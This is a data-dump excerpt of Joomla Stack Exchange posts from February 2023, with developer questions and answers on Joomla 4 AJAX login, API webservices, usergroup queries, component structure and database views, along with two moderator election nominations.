  <row Id="32796" PostTypeId="1" AcceptedAnswerId="32841" CreationDate="2023-02-21T15:06:05.977" Score="2" ViewCount="359" Body="&lt;p&gt;Is it possible to login the user in frontend through Ajax request and without all this redirecting? I am using the joomla login module and trying to extend it but so far no results.&lt;/p&gt;&#xA;&lt;p&gt;I have this js&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery(&amp;quot;#login-form-162&amp;quot;).submit(function(e) {&#xA;        e.preventDefault();&#xA;        var form = jQuery(this);&#xA;        var url = form.attr('action');&#xA;        var data = form.serialize();&#xA;        console.log(data);&#xA;        jQuery.ajax({&#xA;            type: &amp;quot;POST&amp;quot;,&#xA;            url: url,&#xA;            data: data,&#xA;            success: function(response) {&#xA;                // Handle successful login&#xA;                console.log('login success');&#xA;                console.log(response);&#xA;            },&#xA;            error: function() {&#xA;                console.log('login error');&#xA;                console.log(response);&#xA;                // Handle login failure&#xA;            }&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but apparently doesn't work since the url that comes from form.action is like below and always returns &amp;quot;success&amp;quot;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo Route::_('index.php', true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there another way to call on the user controller(? maybe login controller) through ajax?&lt;/p&gt;&#xA;" OwnerUserId="16871" LastEditorUserId="12352" LastEditDate="2023-02-22T06:32:23.147" LastActivityDate="2023-03-12T10:24:47.963" Title="Joomla login module Ajax Request" Tags="|joomla-4.x|login|com-ajax|com-users|login-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32797" PostTypeId="1" CreationDate="2023-02-21T19:16:03.517" Score="3" ViewCount="79" Body="&lt;p&gt;We have a special situation where we include Joomla from within Yii 2, which worked fine with Joomla 3, but Joomla 4.2 is so far giving us some problems. The latest issue is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Error: Class &amp;quot;Joomla\Plugin\Actionlog\Joomla\Extension\Joomla&amp;quot; not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some forum threads recommend to delete autoload cache in administrator/cache/ folder, but we have no such file.&lt;/p&gt;&#xA;&lt;p&gt;Our current bootstrapping code looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    // Include defines.php and framework.php omitted&#xA;    $container = \Joomla\CMS\Factory::getContainer();&#xA;    $container-&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.cli');&#xA;    $app = \Joomla\CMS\Factory::getContainer()-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;    \Joomla\CMS\Factory::$application = $app;&#xA;    \Joomla\CMS\Plugin\PluginHelper::importPlugin('system');&#xA;    $app-&amp;gt;triggerEvent('onAfterInitialise', []);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that we need to use SiteAppplication to get getDocument() to work properly.&lt;/p&gt;&#xA;&lt;p&gt;It fails on PluginHelper::importPlugin().&lt;/p&gt;&#xA;&lt;p&gt;Any tips? Should we perhaps hack the Yii 2 composer.json file to point the namespace correctly? Or is there a simple command missing to setup Joomla correctly? Another solution to maybe add a new spl_autoload_register.&lt;/p&gt;&#xA;&lt;p&gt;This error appears both locally with a git clone joomla-cms, and on our live server.&lt;/p&gt;&#xA;&lt;p&gt;Edit: Adding this PSR-4 instruction to our Yii 2 composer.json did not work, it seems&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 80         &amp;quot;psr-4&amp;quot;: {                                                                                                                                                                         &#xA; 81             &amp;quot;Joomla\\Plugin\\&amp;quot;: &amp;quot;joomla-src/plugin&amp;quot;                                                                                                                                        &#xA; 82         }                                                                                                                                                                                  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Maybe the autoloaders inside Joomla are not PSR-4 compliant?&lt;/p&gt;&#xA;&lt;p&gt;Edit 2: No way to programmatically generate the autoloader psr4 file in cache folder? We have a copy from live site, but I need to figure out how to load it properly.&lt;/p&gt;&#xA;&lt;p&gt;Trying this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    require_once JPATH_LIBRARIES . '/namespacemap.php';&#xA;    $extensionPsr4Loader = new \JNamespacePsr4Map();&#xA;    $extensionPsr4Loader-&amp;gt;load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2023-02-21T20:40:44.250" LastActivityDate="2023-02-22T10:44:23.917" Title="How to bootstrap loading of all libs and plugins from command line?" Tags="|plugin|namespace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32798" PostTypeId="6" CreationDate="2023-02-21T22:47:58.050" Score="0" Body="&lt;h1&gt;mickmackusa&lt;/h1&gt;&#xA;&lt;p&gt;Why should you re-elect me as JSE moderator:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I am an extremely passionate supporter of the Stack Exchange Network and wholeheartedly believe that it is the best platform for sharing knowledge.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Contributing to JSE has become a daily routine for me.  Since joining this community 4 years and 11 months ago (4.9 years), I've visited the site on 1755 of those days (4.8 years).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have experience-based philosophies regarding what is good/bad for a community which I have sharpened over nearly a decade of activity across multiple communities in the Stack Exchange network (not to mention an administrator role in another forum). I will happily help new moderators to settle into the team and learn the tooling.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am driven to see this community mature and expand in terms of content and membership. I have been an enthusiastic advocate for JSE at multiple Joomla events and I still attend my local Joomla meetup group.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I do not play favourites and I am adamantly opposed to any activities that will cause discontent to the community.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-02-21T22:47:58.050" LastActivityDate="2023-02-21T22:47:58.050" CommentCount="7" CommunityOwnedDate="2023-02-21T22:47:58.050" ContentLicense="CC BY-SA 4.0" />
  <row Id="32800" PostTypeId="2" ParentId="32797" CreationDate="2023-02-22T10:44:23.917" Score="3" Body="&lt;p&gt;That final piece of code seems to have done it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_LIBRARIES . '/namespacemap.php';&#xA;$extensionPsr4Loader = new \JNamespacePsr4Map();&#xA;$extensionPsr4Loader-&amp;gt;load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-02-22T10:44:23.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32801" PostTypeId="6" CreationDate="2023-02-22T20:30:30.413" Score="0" Body="&lt;h1&gt;Terry Carter&lt;/h1&gt;&#xA;&lt;p&gt;I am just a guy who loves Joomla... so why should you vote for me as a moderator?&lt;/p&gt;&#xA;&lt;p&gt;I 100% support the Joomla CMS project and open source in general.&lt;/p&gt;&#xA;&lt;p&gt;I have a firm belief that JSE is a fantastic resource for both experience Joomla coders and those who may not be a developer by trade.&lt;/p&gt;&#xA;&lt;p&gt;I will do everything I can during my time as a moderator to continue developing this treasure trove of knowledge that we call the JSE.&lt;/p&gt;&#xA;&lt;p&gt;I want to see this Community thrive moving forward in the future and remain a safe place where like minded individuals can ask questions and receive answers in an informative manner that is free of strife and criticism.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2023-02-22T20:30:30.413" LastActivityDate="2023-02-22T20:30:30.413" CommentCount="2" CommunityOwnedDate="2023-02-22T20:30:30.413" ContentLicense="CC BY-SA 4.0" />
  <row Id="32803" PostTypeId="1" CreationDate="2023-02-24T04:13:07.173" Score="1" ViewCount="158" Body="&lt;p&gt;When using Webservices on my local development environment, but the problem is not unique to local environments, I received the following message for even the core features,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The requested URL was not found on this server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The same request, &lt;code&gt;http://my.domain/api/v1/content/articles&lt;/code&gt;, to other instances worked fine.&lt;/p&gt;&#xA;&lt;p&gt;One of the symptoms, if you have a Debugger switched on, is that no API calls triggers any execution of the webservice plugins, which is different to if you have provided an endpoint that doesn't exist, eg. &lt;code&gt;/v1/api/content/fred&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It comes down to the environment being slightly different and hopefully the answer will help.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-02-24T04:13:07.173" Title="Webservices returns The requested URL was not found on this server with a 404" Tags="|joomla-4.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32804" PostTypeId="2" ParentId="32803" CreationDate="2023-02-24T04:13:07.173" Score="1" Body="&lt;p&gt;Depending on which tutorial, samples of a request or Postman collection you are using there are two versions for an end point used, note the index.php is not used in the first as was the case in my issue.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://my.domain/api/v1/content/articles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://my.domain/api/index.php/v1/content/articles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The variation with the &lt;code&gt;index.php&lt;/code&gt; will always work, however it looks odd and I don't believe an API endpoint should have that in its request, while without the &lt;code&gt;index.php&lt;/code&gt; you will need to have these lines that appear in the default &lt;code&gt;htaccess.txt&lt;/code&gt; available in your &lt;code&gt;.htaccess&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# -- SEF URLs for the API application&#xA;# If the requested path starts with /api, the file is not /api/index.php&#xA;# and the request has not already been internally rewritten to the&#xA;# api/index.php script&#xA;RewriteCond %{REQUEST_URI} ^/api/&#xA;RewriteCond %{REQUEST_URI} !^/api/index\.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Note &lt;code&gt;Rewrite ON&lt;/code&gt; is required prior to this&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;After I found the cause and knew what to search for, I did find this previous post on JSE that addresses the same issue, &lt;a href=&quot;https://joomla.stackexchange.com/questions/32691/website-not-correctly-displaying-not-found-the-requested-url-was-not-found-on&quot;&gt;Website not correctly displaying &amp;quot;Not Found - The requested URL was not found on this server.&amp;quot;&lt;/a&gt; , the suggested solution requires you to turn on SEF to get the URL rewrite option which in turn requires you to have a .htaccess file. For my purposes I have SEF turned off.&lt;/p&gt;&#xA;&lt;p&gt;The solution is simpler, you need to have a .htaccess, the default Joomla one is enough, with the above lines if you want to exclude the &lt;code&gt;index.php&lt;/code&gt; from your requests.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-02-24T04:13:07.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32805" PostTypeId="1" CreationDate="2023-02-24T16:29:30.060" Score="1" ViewCount="106" Body="&lt;p&gt;Is it possible to create a webservice and API access for my own component if the component file structure is not setup like this and uses namespace based classes?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Developing_an_MVC_Component/Developing_a_Basic_Component&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My component is still using the style described like here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This documentation says API access is working with the default MVC Layer:&#xA;&lt;a href=&quot;https://docs.joomla.org/J4.x:Adding_an_API_to_a_Joomla_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Adding_an_API_to_a_Joomla_Component&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I thought i'm using it. What is the default MVC Layer?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-02-25T15:16:42.897" Title="Joomla 4 API MVC Layer type" Tags="|joomla-api|mvc|restful-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32806" PostTypeId="1" AcceptedAnswerId="32808" CreationDate="2023-02-25T03:13:08.243" Score="2" ViewCount="481" Body="&lt;p&gt;I need an array of all usernames from a certain usergroup.&#xA;How can I update my Joomla 3 component code for use in Joomla 4?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.access.access' );&#xA;$customers = JAccess::getUsersByGroup(2);&#xA;jimport( 'joomla.user.user' );&#xA;foreach($customers as $customer){&#xA;    $user = JFactory::getUser($customer);&#xA;    $userID = $user-&amp;gt;id;&#xA;    $arr = array();&#xA;    $arr[$userID] = $user-&amp;gt;username;&#xA;}&#xA;$this-&amp;gt;users = $arr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16829" LastEditorUserId="12352" LastEditDate="2023-02-25T12:54:06.100" LastActivityDate="2023-02-25T12:54:06.100" Title="Joomla 4: get all users in a usergroup" Tags="|joomla-4.x|user-groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32807" PostTypeId="2" ParentId="32806" CreationDate="2023-02-25T07:19:19.720" Score="0" Body="&lt;p&gt;You could pull this straight from the db with something like the following&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$group_id = 2;&#xA;&#xA;$db = \Joomla\CMS\Factory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('b.username')&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__user_usergroup_map', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;qn('#__users', 'b') . ' ON ' . $db-&amp;gt;qn('a.user_id') . ' = ' . $db-&amp;gt;qn('b.id'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('a.group_id') . ' = ' . $db-&amp;gt;q($group_id));&#xA;$db-&amp;gt;setQuery($query);&#xA;$usernames = $db-&amp;gt;loadColumn();&#xA;&#xA;// this should show the contents of the array&#xA;echo '&amp;lt;pre&amp;gt;' . print_r($usernames,1) . '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2023-02-25T07:19:19.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32808" PostTypeId="2" ParentId="32806" CreationDate="2023-02-25T09:19:12.387" Score="2" Body="&lt;p&gt;The &lt;code&gt;jimport&lt;/code&gt; statements are replaced by adding &lt;code&gt;use&lt;/code&gt; statements prior to your &lt;code&gt;class&lt;/code&gt; statement. The &lt;code&gt;getUsersByGroup()&lt;/code&gt; is still valid and has no reference to being depreciated while the &lt;code&gt;JFactory::getUser()&lt;/code&gt;/&lt;code&gt;Factory::getUser()&lt;/code&gt; will work with Joomla 4 but is depreciated in Joomla 5.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Access\Access;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;...&#xA;&#xA;$userfactory = Factory::getContainer()-&amp;gt;get(UserFactoryInterface::class);&#xA;&#xA;$customers = Access::getUsersByGroup(2);&#xA;&#xA;foreach($customers as $customer)&#xA;{&#xA;    $user = $userfactory-&amp;gt;loadUserById($customer);&#xA;     $userID = $user-&amp;gt;id;&#xA;     $arr = array();&#xA;     $arr[$userID] = $user-&amp;gt;username;&#xA;}&#xA;&#xA;$this-&amp;gt;users = $arr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-02-25T09:19:12.387" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32810" PostTypeId="2" ParentId="32805" CreationDate="2023-02-25T11:23:53.590" Score="2" Body="&lt;p&gt;You can use virtually any component structure you want as long as Joomla can dispatch the component. You can use the J3 style single entry file. You can use the J4 service provider while still using the old entry file. Some of this is mentioned in &lt;a href=&quot;https://joomla.stackexchange.com/a/32080/12652&quot;&gt;this answer&lt;/a&gt;. You can use different component structure per application, e.g. you can keep using J3 structure in frontend/backend but use J4 structure in API application. There are many possible combinations.&lt;/p&gt;&#xA;&lt;p&gt;That said, J3 style components work fine in API application. You can put a &lt;code&gt;[component].php&lt;/code&gt; file in &lt;code&gt;api/components/com_[component]&lt;/code&gt; directory and it will be executed as long as you correctly register the routes using a Webservices plugin.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-02-25T11:23:53.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32811" PostTypeId="2" ParentId="32805" CreationDate="2023-02-25T13:37:18.863" Score="0" Body="&lt;p&gt;I managed to get it working. What was important for me was to create the API provider registration in a way that it only gets triggered when an API call is made, so the component MVC structure can stay the same. I only needed to create a model and JsonapiView for the needed CRUD calls.&lt;/p&gt;&#xA;&lt;h3&gt;Service Provider&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;return new class implements ServiceProviderInterface {&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;registerServiceProvider(new MVCFactory('\\Joomla\\Component\\Mycomp'));&#xA;        $container-&amp;gt;registerServiceProvider(new ComponentDispatcherFactory('\\Joomla\\Component\\Mycomp'));&#xA;&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            static function (Container $container)&#xA;            {&#xA;                $component = new MycompComponent($container-&amp;gt;get(ComponentDispatcherFactoryInterface::class));&#xA;                // $component-&amp;gt;setRouterFactory($container-&amp;gt;get(RouterFactoryInterface::class));&#xA;&#xA;                return $component;&#xA;            }&#xA;        );       &#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Component Class (src/Extensions/MycompComponent.php)&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Joomla\Component\Mycomp\Administrator\Extension;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Psr\Container\ContainerInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\Dispatcher\DispatcherInterface;&#xA;use Joomla\CMS\Application\CMSApplicationInterface;&#xA;use Joomla\CMS\Dispatcher\ComponentDispatcherFactoryInterface;&#xA;use Joomla\CMS\Dispatcher\LegacyComponentDispatcher;&#xA;&#xA;\defined('JPATH_PLATFORM') or die;&#xA;&#xA;class MycompComponent implements ComponentInterface {&#xA;    private $dispatcherFactory;&#xA;&#xA;    public function __construct(ComponentDispatcherFactoryInterface $dispatcherFactory)&#xA;    {&#xA;        $this-&amp;gt;dispatcherFactory = $dispatcherFactory;&#xA;    }&#xA;&#xA;    public function getDispatcher(CMSApplicationInterface $application): DispatcherInterface&#xA;    {&#xA;        // use J4 Dispatcher only for API calls&#xA;        if ($application-&amp;gt;isClient('api')) {&#xA;            return $this-&amp;gt;dispatcherFactory-&amp;gt;createDispatcher($application);&#xA;        } else {&#xA;            return new LegacyComponentDispatcher($application);&#xA;        }&#xA;    }&#xA;&#xA;    public function boot(ContainerInterface $container)&#xA;    {&#xA;    }&#xA;&#xA;    // no idea what this is for :)&#xA;    public function validateSection($section, $item = null)&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    public function getContexts(): array&#xA;    {&#xA;        Factory::getLanguage()-&amp;gt;load('com_mycomp', JPATH_ADMINISTRATOR);&#xA;&#xA;        $contexts = [&#xA;        ];&#xA;&#xA;        return $contexts;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-02-25T15:16:42.897" LastActivityDate="2023-02-25T15:16:42.897" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32812" PostTypeId="1" CreationDate="2023-02-25T15:49:50.847" Score="1" ViewCount="35" Body="&lt;p&gt;I have created a new view in my MariaDB database using phpMyAdmin combining the &lt;code&gt;#_content&lt;/code&gt; and &lt;code&gt;#content_frontpage&lt;/code&gt; tables called &lt;code&gt;#__content_with_featured&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I am now attempting to add a new column to this view. Ultimately, it will contain calculated data based on other values from columns in the view, but at this stage I can't even add the column. I get an error referencing the second line:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &lt;code&gt;ADD #_content_with_featured.f_current' at line 2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have tried it with and without the view name. This is my SQL with the full new column name:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;ALTER VIEW #_content_with_featured AS&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;ADD #_content_with_featured.f_current&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;What am I missing or doing wrong, please?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12352" LastEditDate="2023-03-01T18:40:06.553" LastActivityDate="2023-03-01T19:30:16.490" Title="How can I add an additional column to a database view in phpMyAdmin?" Tags="|sql|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32813" PostTypeId="2" ParentId="32812" CreationDate="2023-02-25T17:10:14.917" Score="1" Body="&lt;p&gt;I solved it by using CREATE OR REPLACE VIEW rather than ALTER VIEW, like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#_content_with_featured_two AS &#xA;SELECT #_content.id AS f_id,&#xA;       #_content.title,&#xA;       #_content.featured,&#xA;       #_content.images,&#xA;       #_content_frontpage.featured_up,&#xA;       #_content_frontpage.featured_down,&#xA;       CASE&#xA;           WHEN #_content.featured = '0' THEN 'No'&#xA;           WHEN #_content.featured = '1' THEN 'Yes'&#xA;       END AS f_current&#xA;FROM #_content&#xA;LEFT JOIN #_content_frontpage ON #_content.id = #_content_frontpage.content_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: the actual CASE query isn't what I'm trying to achieve, that's there for demo purposes only.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12352" LastEditDate="2023-03-01T19:30:16.490" LastActivityDate="2023-03-01T19:30:16.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32814" PostTypeId="1" CreationDate="2023-02-25T18:08:24.163" Score="1" ViewCount="41" Body="&lt;p&gt;In Laravel, you can use eloquent mutator transforms to change field names (database table column name) to a preferred/alias property name. How can this be done in Joomla 4?&lt;/p&gt;&#xA;&lt;p&gt;I know I could do this in Joomla 4 JsonapiView:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function prepareItem($item)&#xA;{&#xA;   $item-&amp;gt;nicername = $item-&amp;gt;uglyname;&#xA;   unset($item-&amp;gt;uglyname);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a better approach for this? In the Serializer, it looks like only Relationships can be done.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="12352" LastEditDate="2023-03-01T18:35:25.063" LastActivityDate="2023-03-01T18:35:25.063" Title="Joomla 4 API rename attributes" Tags="|joomla-api|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32815" PostTypeId="1" CreationDate="2023-02-26T14:43:02.783" Score="0" ViewCount="82" Body="&lt;p&gt;I use mod_articles_category to display a list of categories with their articles.&lt;/p&gt;&#xA;&lt;p&gt;I need to display the total of articles next to each category title.&#xA;I've tried with &lt;code&gt;&amp;lt;?php echo $item-&amp;gt;numitems; ?&amp;gt;&lt;/code&gt; - found in com_content/categories - but it doesn't help.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Helper\ModuleHelper;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Layout\LayoutHelper;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\Component\Content\Site\Helper\RouteHelper;&#xA;&#xA;&#xA;if (!$list) {&#xA;    return;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul class=&amp;quot;row&amp;quot;&amp;gt;&#xA;    &amp;lt;?php if ($grouped) : ?&amp;gt;&#xA;        &amp;lt;?php foreach ($list as $groupName =&amp;gt; $items) : ?&amp;gt;&#xA;  &#xA;        &amp;lt;div class=&amp;quot;col&amp;quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;  &#xA;               &#xA;            &amp;lt;div class=&amp;quot;mod-articles-category-group fs-3 fw-bold&amp;quot;&amp;gt;&amp;lt;?php echo Text::_($groupName); ?&amp;gt;                 &#xA;                &amp;lt;span class=&amp;quot;ps-3 text-muted fw-light fs-5&amp;quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;numitems; ?&amp;gt; articles&amp;lt;/span&amp;gt;                   &#xA;            &amp;lt;/div&amp;gt;&#xA;            &#xA;            &amp;lt;ul class=&amp;quot;list-unstyled&amp;quot;&amp;gt;&#xA;            &#xA;                &amp;lt;?php foreach ($items as $item) : ?&amp;gt;&#xA;                &amp;lt;li class=&amp;quot;py-2&amp;quot;&amp;gt;&#xA;                    &amp;lt;?php if ($params-&amp;gt;get('link_titles') == 1) : ?&amp;gt;&#xA;                        &amp;lt;?php $attributes = ['class' =&amp;gt; 'mod-articles-category-title ' . $item-&amp;gt;active]; ?&amp;gt;&#xA;                        &amp;lt;?php $link = htmlspecialchars($item-&amp;gt;link, ENT_COMPAT, 'UTF-8', false); ?&amp;gt;&#xA;                        &amp;lt;?php $title = htmlspecialchars($item-&amp;gt;title, ENT_COMPAT, 'UTF-8', false); ?&amp;gt;&#xA;                        &amp;lt;img src=&amp;quot;images/svg/caret.svg&amp;quot; alt=&amp;quot;&amp;quot; width=&amp;quot;13&amp;quot; height=&amp;quot;13&amp;quot; class=&amp;quot;pe-2&amp;quot;&amp;gt;&amp;lt;?php echo HTMLHelper::_('link', $link, $title, $attributes); ?&amp;gt;&#xA;                    &amp;lt;?php else : ?&amp;gt;&#xA;                        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;p class=&amp;quot;ms-3 pt-3&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;far fa-arrow-alt-circle-right pe-2&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;See all articles about &#xA;                &amp;lt;span class=&amp;quot;mod-articles-category-category&amp;quot;&amp;gt;&#xA;                    &amp;lt;?php echo $item-&amp;gt;displayCategoryTitle; ?&amp;gt;&#xA;                &amp;lt;/span&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;?php $items = $list; ?&amp;gt;&#xA;        &amp;lt;?php require ModuleHelper::getLayoutPath('mod_articles_category', $params-&amp;gt;get('layout', 'default') . '_items'); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11354" LastEditorUserId="12352" LastEditDate="2023-02-26T22:30:01.560" LastActivityDate="2024-02-24T08:03:35.473" Title="Number of articles in multiples sub-categories" Tags="|articles|joomla-4.x|mod-articles-category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
